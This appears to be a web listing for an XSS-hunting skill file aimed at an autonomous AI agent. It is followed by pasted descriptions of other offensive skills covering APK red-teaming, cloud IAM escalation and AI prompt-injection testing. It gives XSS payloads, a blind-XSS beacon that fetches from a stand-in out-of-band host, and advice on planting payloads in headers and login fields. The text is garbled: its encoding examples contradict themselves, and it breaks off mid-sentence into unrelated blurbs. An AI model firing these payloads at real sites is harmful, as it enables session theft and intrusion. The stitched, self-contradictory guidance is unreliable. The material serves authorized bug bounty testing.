hunt-xss
hunt-xss is a bug bounty methodology skill for identifying cross-site scripting vulnerabilities across web applications. It prioritizes high-value XSS targets like admin panels, payment flows, and stored XSS in collaborative features, and establishes out-of-band confirmation requirements for blind and stored XSS claims based on patterns from 174 public bug bounty reports. Use this skill when systematically hunting for XSS vulnerabilities to focus on the most impactful injection points and properly validate discoveries.
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter /tmp/hunt-xss && cp -r /tmp/hunt-xss/skills/hunt-xss ~/.claude/skills/hunt-xssSKILL.md
## Autonomous Testing Priority
**Verify reflection before claiming XSS — encoding is everything.**
Your payload must appear in the response body with angle brackets UNESCAPED. `<script>` is XSS. `<script>` is safe encoding — not vulnerable.
**Use a UNIQUE NUMERIC CANARY in your proof payload** — e.g. `<script>alert(91234)</script>` or `"><img src=x onerror=alert(91234)>`. Pick a distinctive 4+ digit number, not `alert(1)`. Practice pages are full of *example* payloads like `alert(1)`/`alert('XSS')` in their hint text; a unique number is how you tell YOUR reflected payload apart from the page's decoy examples. Proof = your `alert(<canary>)` shows up in the response with raw, unescaped angle brackets.
**Try these contexts in order:**
1. **Inline script injection** (works when HTML context allows new tags):
```
<script>alert(CANARY)</script>
```
Use whatever canary string your proof contract specifies. Confirmed when `<script>alert(CANARY)` appears literally (not HTML-encoded) in the response.
2. **Attribute event injection** (when `<` is filtered but attributes are injectable):
```
" onmouseover="alert(CANARY)
" onerror="alert(CANARY)
" onload="alert(CANARY)
```
3. **URL/href context:**
```
javascript:alert(CANARY)
```
**Distinguishing success from failure:**
- **Vulnerable:** response contains `<script>alert(` unescaped — browser would execute it
- **Filtered/safe:** response contains `<script>` or `<script>` — properly encoded
- **Blocked:** response is an error, or the reflected value is absent entirely
**For stored XSS:** inject into a field that other pages display (comments, usernames, ticket titles). Then fetch the rendering page and check for unescaped payload. The payload executes when any user views that page — higher severity than reflected.
---
## Crown Jewel Targets
XSS is high-value when it combines **privileged context + persistent delivery + scope escalation**. The highest payouts come from:
- **Admin panels and authenticated dashboards** (e.g., `*/admin`, `*/settings`) — attacker can hijack sessions with elevated privileges, exfiltrate tokens, or pivot to account takeover
- **Payment/financial flows** (`paypal.com`, checkout pages, currency converters) — XSS here enables credential harvesting and financial fraud at scale
- **Stored XSS in collaborative features** (wikis, markdown renderers, issue trackers, RDoc, labels, tags) — one payload infects every viewer, multiplying impact
- **SSO/signin pages** (e.g., `paypal.com/signin`) — XSS here is critical because it can steal auth tokens across the entire platform
- **Shared SaaS tenant surfaces** (`*.myshopify.com`, `api.collabs.*`) — XSS in one tenant's context can bleed across tenant boundaries
- **Help/documentation sites** (`help.shopify.com`) — lower severity individually, but often have looser sanitization and trusted user perception
- **SVG/file upload endpoints** — frequently bypasses CSP and sanitization simultaneously
**Asset types that pay most:** Main product domains > Admin subdomains > API endpoints > Marketing/help sites
---
## OOB-Or-It-Didn't-Happen Gate (Blind / Stored XSS)
For blind and stored XSS — claims require an out-of-band confirmation, the same as blind SSRF. The OOB receiver fires when the payload actually executes in a browser somewhere (an admin reviewing logs, a SOC analyst opening a ticket, an email rendering a stored payload).
### What is NOT confirmation
- ASP.NET request validator rejected your `<` and returned a different status code → not XSS, that's WAF noise.
- Your payload appears in the response body URL-encoded or HTML-encoded → not XSS, that's correct output encoding.
- The form action attribute contains your payload string as `%22onclick%3D…` → not XSS, the browser does NOT decode URL encoding inside HTML attribute values; the `%22` stays as literal `%22` in the DOM.
- Your `<script>` tag appears in the response as `<script>` → not XSS, that's escaping.
### What IS confirmation
- A request to your unique Collaborator subdomain (e.g., `bxss-err-<random>.<collab>.oastify.com`) arrives in the OOB listener after your payload was stored / reflected / queued.
- For stored XSS: the request arrives **hours or days later** when an admin views the affected resource. Plant payloads early in the engagement and keep the listener open.
- The User-Agent of the firing request is a browser (Mozilla/Chrome), not the server's own backend HTTP client.
### Where to plant blind-XSS beacons
Any field whose value might be viewed in an admin UI / log viewer / email / report later:
- Error messages (`?ErrorMessage=<svg onload=fetch('//bxss-<tag>.<collab>/x')>`)
- Auth-flow source params (`?Source=`, `?ReturnUrl=`)
- Login form username field (admin may view audit logs of failed logins)
- User-Agent header (some SOC consoles render UA as HTML)
- Referer header (some analytics dashboards render Referer as HTML)
- Email addresses on registration / contact forms
- File-upload filenames
**Always sub-tag the Collaborator subdomain by sink** so callbacks identify which field fired.
**Lesson from a authorized engagement:** 10 blind-XSS Collaborator beacons planted across `ErrorMessage`, `Source`, the Authentication.asmx username field, User-Agent header, Referer header, and request paths. Zero callbacks over a 10-minute polling window. Conclusion: the SharePoint SOC views logs / errors in tooling that does not render HTML, AND the ASP.NET request validator blocks `<` in query strings before the payload reaches storage. Stored-XSS claim correctly retracted.
---
## Attack Surface Signals
**URL Patterns:**
```
/admin*
/settings*
/wiki*
/reports*
?utm_source=
?redirect=
?q=
?search=
?callback=
?return_url=
/render*
/preview*
/documentation*
```
**Response Headers (weak defense signals):**
```
Content-Type: text/html (without nosniff)
Content-Security-Policy: (absent or using unsafe-inline)
Content-Type: image/svg+xml (CSP oftenEnd-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.
Run autonomous hunt loop on a target — scope check → recon → rank surface → hunt → validate → report with configurable checkpoints. Usage: /autopilot target.com [--paranoid|--normal|--yolo]
Local-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Use at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process.
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.
Build an exploit chain — given bug A, finds B and C to combine for higher severity and payout. Knows common chain patterns: IDOR→ATO, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth. Usage: /chain
Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.